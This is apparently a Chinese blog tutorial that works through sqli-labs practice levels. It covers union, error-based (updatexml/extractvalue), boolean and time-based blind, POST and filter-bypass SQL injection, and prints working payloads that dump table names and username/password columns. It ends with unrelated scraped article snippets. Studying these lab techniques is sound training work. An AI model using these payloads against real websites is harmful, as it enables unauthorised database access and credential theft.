sql注入靶场sqli-labs常见sql注入漏洞详解
目录
sqli-labs-less1
1.less1普通解法
1.在url里面填写不同的值,返回的内容也不同,证明,数值是进入数据库进行比对了的(可以被注入)
2.判断最终执行的sql语句的后面还有内容吗,并且能够判断是字符型的拼接还是数字型的拼接
3.判断当前语句查询的字段数,也就是有几列(order by 1..几)哪个数出错了就是有n-1个字段
4.判断查询语句哪些字段是显示出来的
5.利用上一步的回显和database(),version()函数回显数据库名和版本号
6.爆出来哪些表有可能存在用户名和密码,根据sql原始表的特性知information_schema数据库下的tables表里面有相应的表名
7.现在用户名和密码只可能在users表下,所有找出users表下有哪些字段,字段在information_schema数据库下的columns表里面有。
8.数据库知道了,表知道了,字段知道了,开始查询内容
2.less1解法2报错注入(union用不了时)
1.爆表名
3.less1解法3无列名注入
1.所以要另外找一个原始的数据库,看里面有没有这些信息,MySQL里面的sys库里面的
sys.schema_auto_increment_columns表里面有table_name
2.不知道列名,要么是猜列名,要么就用无列名注入,把列名爆出来
sqli-labs-less8
1.less8布尔盲注
1.爆数据库名
2.less8用python写布尔盲注脚本
1.爆数据库名
二分法爆数据库名
2.爆表名
3.爆字段名
sqli-labs-less9
1.时间注入
1.用python写时间注入脚本
sqli-labs-less1
1.post提交方式的注入
1.-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
2.-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
3.-1' union select 1,group_concat(password,0x3a,username) from users#
sqli-labs-less17
1.有过滤的注入
1、爆数据库名
2、爆表名
3、爆字段名
4、爆字段内容(用户名)
sqli-labs-less1
1.less1普通解法
1.在url里面填写不同的值,返回的内容也不同,证明,数值是进入数据库进行比对了的(可以被注入)
select * from users where id=' 1'--+ ' limit 0,1;(为什么要id=1'--+) 引号和前面的引号闭合,后面的引号被注释了


2.判断最终执行的sql语句的后面还有内容吗,并且能够判断是字符型的拼接还是数字型的拼接


--+是url里面的注释,因为#有其他用处,--空格里面的空格会被忽略
3.判断当前语句查询的字段数,也就是有几列(order by 1..几)哪个数出错了就是有n-1个字段


4.判断查询语句哪些字段是显示出来的
?id=-2'union select 1,2,3--+ (-1可以让union左边的查询为空,从而只回显1,2,3所在字段,就可以知道会显示哪些字段了)
UNION:它用于将两个或多个查询的结果合并为一个结果集,并且会去除重复的行。

5.利用上一步的回显和database(),version()函数回显数据库名和版本号

6.爆出来哪些表有可能存在用户名和密码,根据sql原始表的特性知information_schema数据库下的tables表里面有相应的表名

7.现在用户名和密码只可能在users表下,所有找出users表下有哪些字段,字段在information_schema数据库下的columns表里面有。
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'(限定数据库) and table_name='users' (限定表名)--+

8.数据库知道了,表知道了,字段知道了,开始查询内容
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+

2.less1解法2报错注入(union用不了时)
报错注入必须加concat函数将数据库名称连接到原始XML文档节点
利用updataxml()或者extractvalue()函数来报错
1.爆表名
?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,24),0x7e),1) --+
updatexml(1,2,3)里面要三个字段,1,3随便取,2是xpath路径,不对就报错,
正是利用这个报错注入
concat把0x7e,substring三个字段连接起来输出(把查到的数据用自定义符号连接起来)
group_concat把表里面每一行的结果拼成一个字符串输出(用在查询语句里面来查询的)
substring是截取字符串的一部分,末尾1,20是截取范围

?id=-1' and extractvalue(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,24),0x7e)) --+
extractvalue(1,2)里面两个字段1随便,2错误报错
concat把0x7e,substring三个字段连接起来输出
group_concat把表里面每一行的结果拼成一个字符串输出
substring是截取字符串的一部分,末尾1,20是截取范围

3.less1解法3无列名注入
当information_schema库被过滤了,就不能用了,里面的表名,列名,字段名就查不到了
1.所以要另外找一个原始的数据库,看里面有没有这些信息,MySQL里面的sys库里面的
sys.schema_auto_increment_columns表里面有table_name

能查到users表名,但也仅限表名

2.不知道列名,要么是猜列名,要么就用无列名注入,把列名爆出来
在知道的数据库名下查询这个select * from (select * from users a join users b)c;
因为连接的是两个相同的表,就会报错:字段重复,就知道重复的字段是什么了
join是连接两张表,最后的c是因为子查询必须有个别名
![]()
用using()排除已经知道的字段,就会爆出下一个字段select * from (select * from users a join users b using(id))c;
![]()
![]()

sqli-labs-less8
1.less8布尔盲注
当输入id=1之类的东西,他的回显只有两个值,一个对,一个错,就要用布尔盲注
联合注入是需要页面有回显位。如果数据不显示只有对错页面显示我们可以选择布尔盲注
1.爆数据库名
对的回显

错的回显

所以115就是数据库名的第一个字母的asc码,改substr后面的截取字段就可以一个个把数据库名爆出来
2.接着爆表名
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101--+

3.接着爆字段名
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

2.less8用python写布尔盲注脚本
1.爆数据库名

二分法爆数据库名

2.爆表名

3.爆字段名

sqli-labs-less9
1.时间注入
网页表现为,不管对错,都是一样的画面
比如sqli第九题,怎么样都是you are in …….

利用if判断语句和布尔盲注,如果asc码满足条件就延迟4秒,如果不满足就直接返回
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
条件满足网页在转圈圈

条件不满足网页直接返回

1.用python写时间注入脚本

sqli-labs-less11
1.post提交方式的注入
和第一关一样,只不过是提交方式变化了,在表单标签里面注入
并且要填两个值
1.-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

2.-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

3.-1' union select 1,group_concat(password,0x3a,username) from users#

sqli-labs-less17
1.有过滤的注入
第17关(username被转义了,只能name是正确的,然后在password注入)
1、爆数据库名
1' and extractvalue(1,concat(0x7e,database(),0x7e))#

2、爆表名
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#

3、爆字段名
1' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c))#

4、爆字段内容(用户名)
如果直接查询的话会报错,因为被过滤了
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#

为了绕过他不让用users表的限制,把users表用(select username from users)代替
1' and (extractvalue(1,concat(0x5c,substring((select group_concat(username) from (select username from users)a),1,32),0x5c)))#

5、爆密码
1' and (extractvalue(1,concat(0x5c,substring((select group_concat(password) from (select password from users)a),1,32),0x5c)))#

相关文章:
sql注入靶场sqli-labs常见sql注入漏洞详解
目录 sqli-labs-less1 1.less1普通解法 1.在url里面填写不同的值,返回的内容也不同,证明,数值是进入数据库进行比对了的(可以被注入) 2.判断最终执行的sql语句的后面还有内容吗,并且能够判断是字符型的拼接…...
[C++] 模板进阶:特化与编译链接全解析
文章目录 非类型模板类型形参非类型模板参数代码示例 **模板的特化**为什么要有模板的特化函数模板特化使用场景与示例函数模板特化的实现细节 类模板特化全特化示例 偏特化部分优化通过进一步限制模板参数进行特化偏特化为指针类型示例:偏特化为引用类型示例&#…...
oracle-备份
1、逻辑备份(exp) /ljbb/oracle/o19c/bin/exp hr/hr tablesJOBS file/ljbb/bak/system.sql log/ljbb/bak/ststem.log query\where deptno30\ buffer100000000 hr/hr 用户/密码 tablesJOBS 表名:JOBS file/ljbb/bak/system.sql 备份文件路径 log/ljbb/ba…...
oracle 并行parallel的插入insert用法
在Oracle数据库中,INSERT 语句确实可以使用 Parallel(并行)功能。通过并行插入,可以在插入数据时同时利用多个并行操作进程来执行插入操作,从而显著提高插入操作的速度和效率。这对于需要处理大量数据插入的场景尤为有…...
夜莺监控使用指南
夜莺监控使用指南 本文用于解决在部署和应用夜莺监控中遇到的一些问题以及官方文档缺失的某些步骤可能会遇到的坑。 安装过程 我使用是NightingaleCategrafPrometheus的架构。 Nightingale安装文档:https://flashcat.cloud/docs/content/flashcat-monitor/night…...
MySQLDM笔记-查询库中是否存在列出的表名及查询库中列出的不存在的表名
如下表名: aaa,bb,cc,ccs,dds,csdf,csdfs,sdfa,werwe,csdfsd 在MySQL库中,查询哪些表名在数据库中 SELECT table_name FROM information_schema.tables WHERE table_schema your_database_name_here AND table_name IN (aaa, bb, cc, ccs, dds, csdf…...
第9天 xxl-job
使用xxl-job需要建表 引入依赖 添加配置 Bean public XxlJobSpringExecutor xxlJobExecutor() {logger.info(">>>>>>>>>>> xxl-job config init.");XxlJobSpringExecutor xxlJobSpringExecutor new XxlJobSpringExecutor();xxlJo…...
C++字符串<string>库
一:string及其标准库 C中使用string类需要添加<string>库。 string初始化: string str1 "Hello"; string str2; str2 "World"; string str3 str1 str2; string在变量的声明以及初始化与C语言的char类字符串一致。但是str…...
智能分析,安全无忧:AI视频分析技术在安全生产中的深度应用
在当今快速发展的科技时代,视频智能分析技术(Intelligent Video Analysis,简称IV)已经成为提升安全生产水平的重要手段。这一技术通过计算机图像视觉分析技术,实现了对场景中目标的自动识别和追踪,有效提升…...
02 Canal的安装使用
1 下载Canal Cannal下载地址如下:https://github.com/alibaba/canal/releases,这里选择Canal 1.1.4版本下载。2 上传解压 #首先创建目录 “/software/canal” [rootnode3 ~]# mkdir -p /software/canal#将Canal安装包解压到创建的canal目录中 [rootnode3 ~]# tar …...
【网络安全】玲珑安全第四期
鉴于玲珑安全漏洞挖掘前三期课程取得的优异成绩和获得的强烈反响,我们决定启动玲珑安全第四期漏洞挖掘培训计划。 文章目录 往期学员收获基础学员报喜(部分)课程反馈第四期课程课程内容免费课程往期学员收获 第一期课程总结及学员收获:->点我查看第一期学员收获<- …...
【工具】图片背景移除界面 UI 源码
移除图片背景的UI 照片背景移除和填充颜色的用户界面 仓库地址:https://github.com/MengWoods/remove-background-ui/tree/main 介绍 该项目提供了一个基于 removebg 库的用户界面,用于从输入的照片中移除背景,并用不同的颜色填充背景。 …...
CentOS linux 安装openssl(openssl拒绝服务漏洞【CVE-2022-0778】解决)
一、安装 1.下载相关openssl包 下载地址: https://www.openssl.org/source/ 2.将下载好的压缩包放到 /app/server/nginx 路径下(根据自己实际需求定义) 3.切换至该路径 cd /app/server/nginx4.压缩包解压 压缩包解压 :tar -…...
假如有一个嵌套集合,怎么通过stream流将集合放到一个集合之中?
假如有一个嵌套集合,怎么通过stream流将集合放到一个集合之中? 问题解释:你有一个嵌套的集合,想要通过 Stream 流的方式将其中嵌套的集合放到一个新的集合中。可以使用 flatMap 方法来实现。这种方法非常适合处理嵌套集合的情况。…...
flutter doctor出现 Unable to find bundled Java version
在安装flutter时执行flutter doctor时出现了如下错误: [!] Android Studio (version 2022.1) ✗ Unable to find bundled Java version. 解决办法 检查下Applications/Android Studio.app/Contents目录下有没有jre文件夹,如果没有则创建一个&…...
Linux系统修改root密码
疑难杂症篇(十六)--虚拟机出现“The system is running in low-graphics mode“问题的解决方案_the system is running in low graphic-CSDN博客...
AI时代,我们还可以做什么?
最近看了本书,书名叫做《拐点:站在 AI 颠覆世界的前夜》,作者是万维钢。 本想着看完后,就能掌握一整套 AI 技巧,结果——竟然学了很多道理。 这本书讨论了以下话题: 我们该怎么理解这个 AI 大时代的哲学&am…...
【生成式人工智能-十-文字、图片、声音生成策略】
人工智能生成文字、图片、声音的方法 生成的本质生成的策略文字AR (Autoregressive Generation)图像和视频 NAR(Non-Autoregressive Generation)解决NAR生成品质低的问题 AR NAR 生成的本质 文字、图像、声音的生成的本质,就是给模型一个输入,模型把基…...
git pull 注意事项
当在执行 git pull 操作并且涉及到合并操作时,Git 会打开默认的文本编辑器(在这种情况下是 nano),以便你编写合并提交(merge commit)消息。这个消息将记录在合并提交中,解释为什么进行了这次合并…...
拥抱变革:旗晟智能巡检机器人系统重塑高风险行业巡检模式
随着工业自动化的快速发展,特别是在石油、化工、煤矿等高风险行业中,传统的巡检方式已难以满足现代企业的需求。高频次、全天候、重复的人工巡检不仅效率低下,还面临着人身安全、数据准确性和运营成本等多方面的挑战。针对这些问题࿰…...
2025年能源电力系统与流体力学国际会议 (EPSFD 2025)
2025年能源电力系统与流体力学国际会议(EPSFD 2025)将于本年度在美丽的杭州盛大召开。作为全球能源、电力系统以及流体力学领域的顶级盛会,EPSFD 2025旨在为来自世界各地的科学家、工程师和研究人员提供一个展示最新研究成果、分享实践经验及…...
Auto-Coder使用GPT-4o完成:在用TabPFN这个模型构建一个预测未来3天涨跌的分类任务
通过akshare库,获取股票数据,并生成TabPFN这个模型 可以识别、处理的格式,写一个完整的预处理示例,并构建一个预测未来 3 天股价涨跌的分类任务 用TabPFN这个模型构建一个预测未来 3 天股价涨跌的分类任务,进行预测并输…...
【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)
可以使用Sqliteviz这个网站免费编写sql语句,它能够让用户直接在浏览器内练习SQL的语法,不需要安装任何软件。 链接如下: sqliteviz 注意: 在转写SQL语法时,关键字之间有一个特定的顺序,这个顺序会影响到…...
C++ 基础特性深度解析
目录 引言 一、命名空间(namespace) C 中的命名空间 与 C 语言的对比 二、缺省参数 C 中的缺省参数 与 C 语言的对比 三、引用(reference) C 中的引用 与 C 语言的对比 四、inline(内联函数…...
04-初识css
一、css样式引入 1.1.内部样式 <div style"width: 100px;"></div>1.2.外部样式 1.2.1.外部样式1 <style>.aa {width: 100px;} </style> <div class"aa"></div>1.2.2.外部样式2 <!-- rel内表面引入的是style样…...
爬虫基础学习day2
# 爬虫设计领域 工商:企查查、天眼查短视频:抖音、快手、西瓜 ---> 飞瓜电商:京东、淘宝、聚美优品、亚马逊 ---> 分析店铺经营决策标题、排名航空:抓取所有航空公司价格 ---> 去哪儿自媒体:采集自媒体数据进…...
Android Bitmap治理全解析:从加载优化到泄漏防控的全生命周期管理
引言 Bitmap(位图)是Android应用内存占用的“头号杀手”。一张1080P(1920x1080)的图片以ARGB_8888格式加载时,内存占用高达8MB(192010804字节)。据统计,超过60%的应用OOM崩溃与Bitm…...
selenium学习实战【Python爬虫】
selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…...
Rapidio门铃消息FIFO溢出机制
关于RapidIO门铃消息FIFO的溢出机制及其与中断抖动的关系,以下是深入解析: 门铃FIFO溢出的本质 在RapidIO系统中,门铃消息FIFO是硬件控制器内部的缓冲区,用于临时存储接收到的门铃消息(Doorbell Message)。…...
HarmonyOS运动开发:如何用mpchart绘制运动配速图表
##鸿蒙核心技术##运动开发##Sensor Service Kit(传感器服务)# 前言 在运动类应用中,运动数据的可视化是提升用户体验的重要环节。通过直观的图表展示运动过程中的关键数据,如配速、距离、卡路里消耗等,用户可以更清晰…...
